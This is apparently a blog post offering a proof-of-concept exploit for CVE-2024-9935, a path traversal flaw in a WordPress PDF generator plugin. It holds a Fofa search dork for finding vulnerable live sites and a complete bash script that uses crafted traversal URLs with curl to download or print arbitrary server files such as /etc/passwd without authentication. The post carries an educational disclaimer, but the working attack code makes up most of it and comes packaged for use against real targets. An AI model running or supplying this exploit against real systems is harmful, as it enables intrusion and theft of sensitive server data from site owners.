POC — CVE-2024–9935 — PDF Generator Addon for Elementor Page Builder <= 1.7.5 — Unauthenticated Arbitrary File Download

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Overview

The PDF Generator Addon for Elementor Page Builder plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.7.5 via the rtw_pgaepb_dwnld_pdf() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.

Affected Devices

PDF Generator Addon for Elementor Page Builder <= 1.7.5

Affected Components

This plugin is designed to generate PDFs from Elementor pages within WordPress sites. The vulnerability arises from a path traversal flaw in the rtw_pgaepb_dwnld_pdf() function, which allows unauthenticated attackers to read arbitrary files on the server, potentially exposing sensitive information.

Read about it — CVE-2024–9935

Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Getting Started

Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

• Fofa Dork: body=”wp-content/plugins/pdf-generator-addon-for-elementor-page-builder/” && body=”wp-content/themes/”

Cloning the Repository

First, clone the repository:

git clone https://github.com/verylazytech/CVE-2024-9935

Or Copy manually:

# CVE-2024-9935 POC - PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Unauthenticated Arbitrary File Download
# FOFA body="wp-content/plugins/pdf-generator-addon-for-elementor-page-builder/" && body="wp-content/themes/" 
# Medium https://medium.com/@verylazytech
# Github https://github.com/verylazytech
# My Shop https://buymeacoffee.com/verylazytech/extras
# https://www.verylazytech.com

#!/usr/bin/env bash

banner() {
cat <<'EOF'
  ______     _______   ____   ___ ____  _  _      ___   ___ _________  
 / ___\ \   / / ____| |___ \ / _ \___ \| || |    / _ \ / _ \___ / ___| 
| |    \ \ / /|  _|     __) | | | |__) | || |_  | (_) | (_) ||_ \___ \ 
| |___  \ V / | |___   / __/| |_| / __/|__   _|  \__, |\__, |__) |__) |
 \____|  \_/  |_____| |_____|\___/_____|  |_|      /_/   /_/____/____/ 
                                                                       
__     __                _                      _____         _     
\ \   / /__ _ __ _   _  | |    __ _ _____   _  |_   _|__  ___| |__  
 \ \ / / _ \ '__| | | | | |   / _` |_  / | | |   | |/ _ \/ __| '_ \ 
  \ V /  __/ |  | |_| | | |__| (_| |/ /| |_| |   | |  __/ (__| | | |
   \_/ \___|_|   \__, | |_____\__,_/___|\__, |   |_|\___|\___|_| |_|
                 |___/                  |___/                       
                                                                      
                    @VeryLazyTech - Medium
                    
EOF
}

# Call the banner function
banner

set -e

# Function to URL-encode a string
urlencode() {
    local string="$1"
    local encoded=""
    local pos c
    for (( pos=0; pos<${#string}; pos++ )); do
        c=${string:$pos:1}
        case "$c" in
            [a-zA-Z0-9.~_-]) encoded+="$c" ;;
            *) encoded+=$(printf '%%%02X' "'$c") ;;
        esac
    done
    echo "$encoded"
}

# Check for correct number of arguments
if [ "$#" -ne 3 ]; then
    printf "Usage: $0 <target_url> <file_path_to_download> <action: download|view>\n"
    exit 1
fi

target_url=$1
file_path=$2
action=$3

# URL-encode the file path
encoded_file_path=$(urlencode "$file_path")

printf "\033[0;32mAttempting to exploit CVE-2024-9935...\033[0m\n"

# Craft the exploit URL with the encoded file path
exploit_url="$target_url/elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f$encoded_file_path"

# Send the request
if [ "$action" == "download" ]; then
    response=$(curl -s -o "$(basename "$file_path")" --write-out "%{http_code}" "$exploit_url")
    # Check if the file was successfully downloaded
    if [ "$response" -eq 200 ]; then
        printf "\033[0;32m[+] Exploit successful! File saved as '%s'.\033[0m\n" "$(basename "$file_path")"
    else
        printf "\033[0;31m[-] Exploit failed. HTTP Response Code: $response\033[0m\n"
    fi
elif [ "$action" == "view" ]; then
    response=$(curl -s -o "$(basename "$file_path")" --write-out "%{http_code}" "$exploit_url")
    # Check if the file was successfully downloaded and is not empty
    if [ -s "$(basename "$file_path")" ]; then
        printf "\033[0;32m[+] Exploit successful! File content:\033[0m\n"
        cat "$(basename "$file_path")"
        rm "$(basename "$file_path")"
    else
        printf "\033[0;31m[-] File not found or empty.\033[0m\n"
        rm "$(basename "$file_path")"
    fi
else
    printf "\033[0;31m[-] Invalid action: '%s'. Use 'download' or 'view'.\033[0m\n" "$action"
    exit 1
fi

Run the Exploit:

For Linux / MacOs:

bash ./cve-2024-9935.sh <target_url> <file_path_to_download> <action: download|view>

POC:

View file — /etc/passwd:

Download File — /etc/passwd:

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